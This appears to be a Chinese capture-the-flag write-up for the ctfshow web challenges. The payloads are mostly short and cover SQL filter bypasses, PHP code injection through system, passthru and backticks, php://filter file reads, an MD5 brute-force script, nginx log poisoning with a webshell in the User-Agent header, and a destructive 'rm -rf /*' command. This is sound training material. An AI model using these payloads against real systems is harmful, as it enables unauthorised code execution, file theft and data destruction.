目录
Web1
Web 2
Web 3
Web 4
Web 5
Web 6
Web 7
Web 8
Web 9
Web 10
Web 11
Web 12
Web 13
Web 14
Web 15
Web 16
Web 17
Web 18-web21
Intval解析整数型时会从左边开始,会绕过第一个if,利用||运算符,当发现id=2中为空,便会到id=1000,即可得到flag。
Payload:
?id=10 or id=1000
Or被过滤,用||即可。
Payload:
?id=2||id=1000
同上。
同上。
本题过滤了单双引号,减号,正反斜杠,x,hex,select等字符。
利用intval()函数转换字符串的特性,在参数中构造特殊的字符,来绕过intval()函数的转换;绕过前面两个过滤以后就来到执行SQL语句了,这里我们使用取反运算符(~)来控制SQL,获取flag。
取反绕过:
所以可利用取反运算符来绕过if。
Payload:
?id=~~1000
同web5
~也被过滤,可以用进制转化来写。
Payload:
?id=0b1111101000
脑洞很大,根据提示,阿呆说要去埃塞尔比亚,所以删库跑路。
Payload:
?flag=rm -rf /*
Payload:
?c=system(%27tac%20config.php%27)
;
Payload:
?c=show_source(%27config.php%27);
?c=$x='sys';$y='tem';$z=$x.$y;$z('tac config.php');
同上
文件名被过滤,用base64编码绕过。
Payload:
?c=$b=base64_decode(%27Y29uZmlnLnBocA==%27);show_source($b);
利用passthru和``即可,passthru和system作用类似,``可以相当于命令来执行。
用?>来结尾。
Payload:
?c=passthru("tac%20`ls`")?>
可以利用伪协议来得到flag,构造一个include,然后其中用GET或POST传参。
Payload:
?c=include$_GET[feng]?>&feng=php://filter/read=convert.base64-encode/resource=config.php
``还没被过滤,可以直接传参。
Payload:
?c=echo%20`$_GET[feng]`?>&feng=tac%20config.php
Payload:
?c=include$_GET[feng];&feng=php://filter/read=convert.base64-encode/resource=config.php
?c=echo%20`$_GET[feng]`;&feng=tac%20config.php
很简单,使if条件成立即可。
if(md5("ctfshow$c")==="a6f57ae38a22448c2f07f3f95f49c84e")
写个脚本爆破一下即可。
import hashlib
str='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890'#所有可能出现的字母
#从一个字符开始尝试,逐渐往下加
for a in str:
for b in str :
for c in str:
x=hashlib.md5(('ctfshow'+a+b+c).encode()).hexdigest()
#让ctfshow和字符a,b,c拼接在一起,转化为MD5值。
if x == 'a6f57ae38a22448c2f07f3f95f49c84e':#判断值是否符合条件
y=a+b+c
print('ctfshow'+y)#输出字符x的值
最终得到ctfshow36d,所以传入36d即可。
Payload:
?c=36d
明显的文件包含,但是不能用php,本来尝试了一下data,没成功。
看到nginx想到了日志文件包含。
首先利用bp正常访问,修改UA头为一句话。
然后再传入
?c=/var/log/nginx/access.log
同时POST:
feng=system('tac 36d.php');
同上。